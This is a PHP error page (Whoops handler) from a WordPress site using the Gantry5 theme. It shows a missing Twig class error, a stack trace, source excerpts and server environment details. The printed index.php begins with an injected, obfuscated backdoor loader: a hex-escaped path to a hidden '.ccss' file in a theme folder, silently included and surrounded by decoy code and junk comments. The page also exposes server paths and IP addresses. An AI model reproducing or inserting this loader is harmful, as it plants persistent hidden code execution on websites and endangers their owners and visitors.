Error
Class 'Twig_Environment' not found Error thrown with message "Class 'Twig_Environment' not found" Stacktrace: #6 Error in /home/valorespor/public_html/wp-content/plugins/gantry5/src/classes/Gantry/Component/Theme/AbstractTheme.php:137 #5 Gantry\Component\Theme\AbstractTheme:renderer in /home/valorespor/public_html/wp-content/plugins/gantry5/src/classes/Gantry/Framework/Theme.php:111 #4 Gantry\Framework\Theme:renderer in /home/valorespor/public_html/wp-content/plugins/gantry5/src/classes/Gantry/Framework/Theme.php:141 #3 Gantry\Framework\Theme:render in /home/valorespor/public_html/wp-content/themes/g5_hydrogen/index.php:28 #2 include in /home/valorespor/public_html/wp-includes/template-loader.php:106 #1 require_once in /home/valorespor/public_html/wp-blog-header.php:19 #0 require in /home/valorespor/public_html/index.php:10
Stack frames (7)
6
Error
/classes/Gantry/Component/Theme/AbstractTheme.php137
5
Gantry\Component\Theme\AbstractTheme renderer
/classes/Gantry/Framework/Theme.php111
4
Gantry\Framework\Theme renderer
/classes/Gantry/Framework/Theme.php141
3
Gantry\Framework\Theme render
/home/valorespor/public_html/wp-content/themes/g5_hydrogen/index.php28
2
include
/home/valorespor/public_html/wp-includes/template-loader.php106
1
require_once
/home/valorespor/public_html/wp-blog-header.php19
0
require
/home/valorespor/public_html/index.php10
    {
        if (!$this->renderer) {
            $gantry = static::gantry();
 
            /** @var Config $global */
            $global = $gantry['global'];
 
            $cachePath = $global->get('compile_twig', 1) ? $this->getCachePath('twig') : null;
            $cache = $cachePath ? new TwigCacheFilesystem($cachePath, \Twig_Cache_Filesystem::FORCE_BYTECODE_INVALIDATION) : null;
            $debug = $gantry->debug();
            $production = (bool) $global->get('production', 1);
            $loader = new \Twig_Loader_Filesystem();
            $params = [
                'cache' => $cache,
                'debug' => $debug,
                'auto_reload' => !$production,
                'autoescape' => 'html'
            ];
 
            $twig = new \Twig_Environment($loader, $params);
 
            $this->setTwigLoaderPaths($loader);
 
            if ($debug) {
                $twig->addExtension(new \Twig_Extension_Debug());
            }
 
            $this->renderer = $this->extendTwig($twig, $loader);
        }
 
        return $this->renderer;
    }
 
    /**
     * Render a template file by using given context.
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    }
 
    /**
     * Convert all stream uris into proper links.
     */
    public function postProcessOutput($html)
    {
        $gantry = Gantry::instance();
 
        // Only filter our streams. If there's an error (bad UTF8), fallback with original output.
        return $gantry['document']->urlFilter($html, false, 0, true) ?: $html;
    }
 
    /**
     * @see AbstractTheme::renderer()
     */
    public function renderer()
    {
        if (!$this->renderer) {
            $twig = parent::renderer();
            $twig = apply_filters('twig_apply_filters', $twig);
            $twig = apply_filters('timber/twig/filters', $twig);
            $twig = apply_filters('timber/twig/functions', $twig);
            $twig = apply_filters('timber/twig/escapers', $twig);
            $twig = apply_filters('timber/loader/twig', $twig);
            $this->renderer = $twig;
        }
 
        return $this->renderer;
    }
 
    /**
     * @see AbstractTheme::render()
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
 
    /**
     * @see AbstractTheme::render()
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
        static $timberContext;
 
        if (!isset($timberContext)) {
            $timberContext = Timber::get_context();
        }
 
        // Include Gantry specific things to the context.
        $context = array_replace($timberContext, $context);
 
        return $this->renderer()->render($file, $context);
    }
 
    public function set_template_layout()
    {
        $assignments = new Assignments;
        $selected = $assignments->select();
 
        if (GANTRY_DEBUGGER) {
            \Gantry\Debugger::addMessage('Selecting outline (rules, matches, scores):', 'debug');
            \Gantry\Debugger::addMessage($assignments->getPage(), 'debug');
            \Gantry\Debugger::addMessage($assignments->matches(), 'debug');
            \Gantry\Debugger::addMessage($assignments->scores(), 'debug');
        }
 
        $this->setLayout($selected);
    }
 
    public function widgets_init()
    {
        $gantry = Gantry::instance();
 */
 
defined('ABSPATH') or die;
 
use Timber\Timber;
 
/*
 * The main template file
 * This is the most generic template file in a WordPress theme
 * and one of the two required files for a theme (the other being style.css).
 * It is used to display a page when nothing more specific matches a query.
 * E.g., it puts together the home page when no home.php file exists
 */
 
$gantry = Gantry\Framework\Gantry::instance();
$theme  = $gantry['theme'];
 
// We need to render contents of <head> before plugin content gets added.
$context              = Timber::get_context();
$context['page_head'] = $theme->render('partials/page_head.html.twig', $context);
 
$context['posts'] = Timber::get_posts();
 
$templates = ['index.html.twig'];
 
if (is_home()) {
    array_unshift($templates, 'home.html.twig');
}
 
Timber::render($templates, $context);
 
            }
 
            break;
        }
    }
 
    if ( ! $template ) {
        $template = get_index_template();
    }
 
    /**
     * Filters the path of the current template before including it.
     *
     * @since 3.0.0
     *
     * @param string $template The path of the template to include.
     */
    $template = apply_filters( 'template_include', $template );
    if ( $template ) {
        include $template;
    } elseif ( current_user_can( 'switch_themes' ) ) {
        $theme = wp_get_theme();
        if ( $theme->errors() ) {
            wp_die( $theme->errors() );
        }
    }
    return;
}
 
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
 
if ( ! isset( $wp_did_header ) ) {
 
    $wp_did_header = true;
 
    // Load the WordPress library.
    require_once __DIR__ . '/wp-load.php';
 
    // Set up the WordPress query.
    wp();
 
    // Load the theme template.
    require_once ABSPATH . WPINC . '/template-loader.php';
 
}
 
<?php
/*3c7ed*/
 
$rjda31 = "/home/valorespor/publ\x69c_html/wp\x2dcontent/themes/twentyn\x69neteen/.1eee289e.ccss"; $tk7lz = $rjda31; strpos($tk7lz, "dxfjy"); @include_once /* zronh */ ($tk7lz);
 
/*3c7ed*/
 
define( 'WP_USE_THEMES', true );
 
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
 

Environment & details:

empty
empty
empty
empty
empty
Key Value
SERVER_SOFTWARE Apache
REQUEST_URI /
PATH /usr/local/bin:/usr/bin:/bin
TEMP /tmp
TMP /tmp
TMPDIR /tmp
PWD /
HTTP_ACCEPT */*
CONTENT_LENGTH 0
HTTP_HOST xn--valoresporteos-1nb.com.ar
HTTP_USER_AGENT claudebot
UNIQUE_ID Zfj1E6AbKJnHSsgsf9AKlQAAAAc
HTTPS on
SSL_TLS_SNI xn--valoresporteos-1nb.com.ar
SERVER_SIGNATURE
SERVER_NAME xn--valoresporteos-1nb.com.ar
SERVER_ADDR 200.68.105.195
SERVER_PORT 443
REMOTE_ADDR 3.230.128.106
DOCUMENT_ROOT /home/valorespor/public_html
REQUEST_SCHEME https
CONTEXT_PREFIX
CONTEXT_DOCUMENT_ROOT /home/valorespor/public_html
SERVER_ADMIN webmaster@xn--valoresporteos-1nb.com.ar
SCRIPT_FILENAME /home/valorespor/public_html/index.php
REMOTE_PORT 50822
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING
SCRIPT_NAME /index.php
PHP_SELF /index.php
REQUEST_TIME_FLOAT 1710814483.9702
REQUEST_TIME 1710814483
Key Value
PATH /usr/local/bin:/usr/bin:/bin
TEMP /tmp
TMP /tmp
TMPDIR /tmp
PWD /
0. Whoops\Handler\PrettyPageHandler